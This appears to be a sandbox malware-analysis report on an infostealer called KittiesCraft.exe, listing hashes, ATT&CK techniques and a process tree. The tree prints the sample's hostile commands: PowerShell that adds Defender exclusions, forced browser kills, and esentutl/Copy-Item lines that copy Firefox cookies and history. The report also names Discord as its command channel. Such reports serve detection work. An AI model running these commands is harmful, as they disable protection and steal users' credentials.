0297b7a1c483329e0b179adaef07a1ebd4a5034251c59591dbaca2313f24d5b2

Analysis

max time kernel
299s
max time network
308s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
10/07/2026, 13:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
KittiesCraft.exe
Size 169.1MB
Sample260710-qs53nscw2w
SHA256 0297b7a1c483329e0b179adaef07a1ebd4a5034251c59591dbaca2313f24d5b2
MD5 75e8117a8ee9782eadda94e93187750c
SHA1 9f3d62317b17af4ddaea835aa35defa18ef98848
SHA512 288cfc99cfbbc481ccf5d5b4d24ae084b5c503bdf43a81844441160097b43d2f1aee16af326de1d8b4b55a5782cfc6fbf58fa0eb2a4410779262363688ad3ac6
SSDEEP 1572864:bMw5SJUgPbksdRW8YcrVEGPv/fNsYCdwl0KWCfLM14GYoQt0imGWgyTpQGa:vunRK2agyVQ1
TLSH
T18C888C13E39A50E9E00DD1B187879233EA72B8494728B6DF2A5447563F77EE42B3DB10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution ransomware spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
928	powershell.exe
2168	powershell.exe
1804	powershell.exe
3212	powershell.exe
5112	powershell.exe
1496	powershell.exe
1188	powershell.exe
3008	powershell.exe
3308	powershell.exe
3368	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2160	ChromeElevator.exe
404	ChromeElevator.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
13	discord.com
2	discord.com
12	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ipinfo.io
10	ipinfo.io

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000035d00ca4488ad7d50000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000035d00ca40000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090035d00ca4000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a35d00ca4000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d35d00ca4000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	KittiesCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	KittiesCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	KittiesCraft.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	KittiesCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	KittiesCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	KittiesCraft.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	KittiesCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	KittiesCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	KittiesCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	KittiesCraft.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	KittiesCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	KittiesCraft.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	KittiesCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	KittiesCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	KittiesCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	KittiesCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	KittiesCraft.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	KittiesCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	KittiesCraft.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	KittiesCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	KittiesCraft.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	KittiesCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	KittiesCraft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	KittiesCraft.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2512	WMIC.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
1032	taskkill.exe
1604	taskkill.exe
3892	taskkill.exe
3168	taskkill.exe
3456	taskkill.exe
3160	taskkill.exe
1596	taskkill.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
3308	powershell.exe
3308	powershell.exe
3368	powershell.exe
3368	powershell.exe
2168	powershell.exe
2168	powershell.exe
1804	powershell.exe
1804	powershell.exe
3212	powershell.exe
3212	powershell.exe
5112	powershell.exe
5112	powershell.exe
1496	powershell.exe
1496	powershell.exe
1188	powershell.exe
1188	powershell.exe
3008	powershell.exe
3008	powershell.exe
928	powershell.exe
928	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeDebugPrivilege	3308	powershell.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeDebugPrivilege	3892	taskkill.exe
Token: SeDebugPrivilege	3160	taskkill.exe
Token: SeDebugPrivilege	1604	taskkill.exe
Token: SeDebugPrivilege	3168	taskkill.exe
Token: SeDebugPrivilege	1596	taskkill.exe
Token: SeDebugPrivilege	1032	taskkill.exe
Token: SeDebugPrivilege	3456	taskkill.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeDebugPrivilege	3368	powershell.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeBackupPrivilege	1384	vssvc.exe
Token: SeRestorePrivilege	1384	vssvc.exe
Token: SeAuditPrivilege	1384	vssvc.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeDebugPrivilege	3212	powershell.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeDebugPrivilege	5112	powershell.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeShutdownPrivilege	4252	KittiesCraft.exe
Token: SeCreatePagefilePrivilege	4252	KittiesCraft.exe
Token: SeDebugPrivilege	1188	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4252	KittiesCraft.exe
4252	KittiesCraft.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 4252 wrote to memory of 1312	4252	KittiesCraft.exe	79
PID 4252 wrote to memory of 1872	4252	KittiesCraft.exe	80
PID 4252 wrote to memory of 4432	4252	KittiesCraft.exe	81
PID 4432 wrote to memory of 3308	4432	cmd.exe	83
PID 4252 wrote to memory of 1796	4252	KittiesCraft.exe	84
PID 1796 wrote to memory of 4560	1796	cmd.exe	86
PID 4252 wrote to memory of 1604	4252	KittiesCraft.exe	87
PID 4252 wrote to memory of 3892	4252	KittiesCraft.exe	88
PID 4252 wrote to memory of 3168	4252	KittiesCraft.exe	89
PID 4252 wrote to memory of 3456	4252	KittiesCraft.exe	90
PID 4252 wrote to memory of 3160	4252	KittiesCraft.exe	91
PID 4252 wrote to memory of 1596	4252	KittiesCraft.exe	92
PID 4252 wrote to memory of 1032	4252	KittiesCraft.exe	93
PID 4252 wrote to memory of 1756	4252	KittiesCraft.exe	95
PID 1756 wrote to memory of 3368	1756	cmd.exe	97
PID 4252 wrote to memory of 2160	4252	KittiesCraft.exe	98
PID 2160 wrote to memory of 4476	2160	ChromeElevator.exe	100
PID 2160 wrote to memory of 4476	2160	ChromeElevator.exe	100
PID 4252 wrote to memory of 404	4252	KittiesCraft.exe	103
PID 404 wrote to memory of 764	404	ChromeElevator.exe	105
PID 404 wrote to memory of 764	404	ChromeElevator.exe	105
PID 4252 wrote to memory of 1504	4252	KittiesCraft.exe	106
PID 1504 wrote to memory of 2168	1504	cmd.exe	108
PID 4252 wrote to memory of 4964	4252	KittiesCraft.exe	109
PID 4964 wrote to memory of 1804	4964	cmd.exe	111
PID 4252 wrote to memory of 1032	4252	KittiesCraft.exe	112
PID 1032 wrote to memory of 4164	1032	cmd.exe	114
PID 4252 wrote to memory of 2328	4252	KittiesCraft.exe	118
PID 2328 wrote to memory of 3212	2328	cmd.exe	120
PID 4252 wrote to memory of 3236	4252	KittiesCraft.exe	121
PID 3236 wrote to memory of 3196	3236	cmd.exe	123
PID 4252 wrote to memory of 4976	4252	KittiesCraft.exe	124
PID 4976 wrote to memory of 5112	4976	cmd.exe	126
PID 4252 wrote to memory of 4556	4252	KittiesCraft.exe	127
PID 4556 wrote to memory of 3588	4556	cmd.exe	129
PID 4252 wrote to memory of 3712	4252	KittiesCraft.exe	130
PID 3712 wrote to memory of 1496	3712	cmd.exe	132
PID 4252 wrote to memory of 3364	4252	KittiesCraft.exe	133
PID 3364 wrote to memory of 3784	3364	cmd.exe	135
PID 4252 wrote to memory of 1788	4252	KittiesCraft.exe	136
PID 1788 wrote to memory of 1188	1788	cmd.exe	138
PID 4252 wrote to memory of 3076	4252	KittiesCraft.exe	139
PID 3076 wrote to memory of 448	3076	cmd.exe	141
PID 4252 wrote to memory of 1580	4252	KittiesCraft.exe	142
PID 1580 wrote to memory of 3008	1580	cmd.exe	144
PID 4252 wrote to memory of 2312	4252	KittiesCraft.exe	145
PID 2312 wrote to memory of 2512	2312	cmd.exe	147
PID 4252 wrote to memory of 4796	4252	KittiesCraft.exe	148
PID 4796 wrote to memory of 928	4796	cmd.exe	150
PID 4252 wrote to memory of 3388	4252	KittiesCraft.exe	151
PID 3388 wrote to memory of 3996	3388	cmd.exe	153

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\KittiesCraft.exe
"C:\Users\Admin\AppData\Local\Temp\KittiesCraft.exe"
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4252
- C:\Users\Admin\AppData\Local\Temp\KittiesCraft.exe
  "C:\Users\Admin\AppData\Local\Temp\KittiesCraft.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\chiloutvrmod" --gpu-preferences=WAAAAAAAAADgAQAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --field-trial-handle=1716,i,15179118775567603216,17053889708247724300,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1692 /prefetch:2
  2⤵
  PID:1312
- C:\Users\Admin\AppData\Local\Temp\KittiesCraft.exe
  "C:\Users\Admin\AppData\Local\Temp\KittiesCraft.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\chiloutvrmod" --field-trial-handle=1952,i,15179118775567603216,17053889708247724300,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1940 /prefetch:3
  2⤵
  PID:1872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\KittiesCraft.exe' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\KittiesCraft.exe' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1783690594182.vbs""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\system32\cscript.exe
    cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1783690594182.vbs"
    3⤵
    PID:4560
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM chrome.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1604
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM msedge.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3892
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM brave.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3168
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM opera.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3456
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM vivaldi.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3160
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM operagx.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1596
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM opera_crashreporter.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\elev_1783690597729' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\elev_1783690597729\ChromeElevator.exe' -Force""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\elev_1783690597729' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\elev_1783690597729\ChromeElevator.exe' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3368
- C:\Users\Admin\AppData\Local\Temp\elev_1783690597729\ChromeElevator.exe
  C:\Users\Admin\AppData\Local\Temp\elev_1783690597729\ChromeElevator.exe chrome -o C:\Users\Admin\AppData\Local\Temp\elev_out_1783690597713
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:4476
- C:\Users\Admin\AppData\Local\Temp\elev_1783690597729\ChromeElevator.exe
  C:\Users\Admin\AppData\Local\Temp\elev_1783690597729\ChromeElevator.exe edge -o C:\Users\Admin\AppData\Local\Temp\elev_out_1783690597713
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:404
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_debug_a6a3e1a6.ps1""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_debug_a6a3e1a6.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_debug_16f159ca.ps1""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_debug_16f159ca.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "esentutl /y "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\cookies.sqlite" /d "C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_cookies.db" /vss"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1032
- - C:\Windows\system32\esentutl.exe
    esentutl /y "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\cookies.sqlite" /d "C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_cookies.db" /vss
    3⤵
    PID:4164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\cookies.sqlite' -Destination 'C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_cookies.db' -Force""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\cookies.sqlite' -Destination 'C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_cookies.db' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "esentutl /y "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\places.sqlite" /d "C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_history.db" /vss"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3236
- - C:\Windows\system32\esentutl.exe
    esentutl /y "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\places.sqlite" /d "C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_history.db" /vss
    3⤵
    PID:3196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\places.sqlite' -Destination 'C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_history.db' -Force""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\places.sqlite' -Destination 'C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_history.db' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "esentutl /y "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\places.sqlite" /d "C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_history.db" /vss"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\system32\esentutl.exe
    esentutl /y "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\places.sqlite" /d "C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_history.db" /vss
    3⤵
    PID:3588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\places.sqlite' -Destination 'C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_history.db' -Force""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\places.sqlite' -Destination 'C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_history.db' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "esentutl /y "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\places.sqlite" /d "C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_history.db" /vss"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3364
- - C:\Windows\system32\esentutl.exe
    esentutl /y "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\places.sqlite" /d "C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_history.db" /vss
    3⤵
    PID:3784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\places.sqlite' -Destination 'C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_history.db' -Force""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\places.sqlite' -Destination 'C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_history.db' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "esentutl /y "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\places.sqlite" /d "C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_history.db" /vss"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3076
- - C:\Windows\system32\esentutl.exe
